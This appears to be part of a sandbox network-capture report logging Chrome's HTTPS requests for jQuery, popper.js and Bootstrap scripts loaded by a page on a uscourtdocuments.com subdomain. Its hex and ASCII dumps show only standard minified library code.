2024-12-09 13:20:08 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-12-09 13:20:08 UTC	16245	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-12-09 13:20:08 UTC	4200	IN	Data Raw: 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 77 68 69 6c 65 28 61 2e 66 69 72 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 29 61 3d 61 2e 66 69 72 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 3b 72 65 74 75 72 6e 20 61 7d 29 2e 61 70 70 65 6e 64 28 74 68 69 73 29 29 2c 74 68 69 73 7d 2c 77 72 61 70 49 6e 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 Data Ascii: .map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.content

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	49860	104.17.24.14	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:07 UTC	707	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jdjdhjh.uscourtdocuments.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:08 UTC	962	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 700429 Expires: Sat, 29 Nov 2025 13:20:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mgxJd2e7%2F1eRE9qau99qjJE%2BUmw%2Br5kWPsCRTlTO0MCX7Eg8bAK2yh2o45UadxAqoy0%2FG0cNTZdP5U%2FDKjNaZzuTNF8NItQZPxTjt9N4UykRgMzCLysLJhSfsES10PIjnaWSAOVV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ef54a71eb831a30-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:20:08 UTC	407	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 Data Ascii: !==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#docume
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f Data Ascii: t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bo
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 Data Ascii: top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}ret
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e Data Ascii: eight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 Data Ascii: ole.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={ins
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 Data Ascii: this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pa
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 Data Ascii: eturn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){r
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 Data Ascii: eturn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functi
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: eturn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49859	104.18.11.207	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:20:07 UTC	661	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://jdjdhjh.uscourtdocuments.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:20:08 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:20:07 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 10/04/2024 02:53:43 CDN-EdgeStorageId: 1029 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 1 CDN-RequestId: c6c8a086d090f1d2baac8a7b0c894894 CDN-Cache: HIT CF-Cache-Status: HIT Age: 1134012 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ef54a71e8b241ba-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:20:08 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-12-09 13:20:08 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
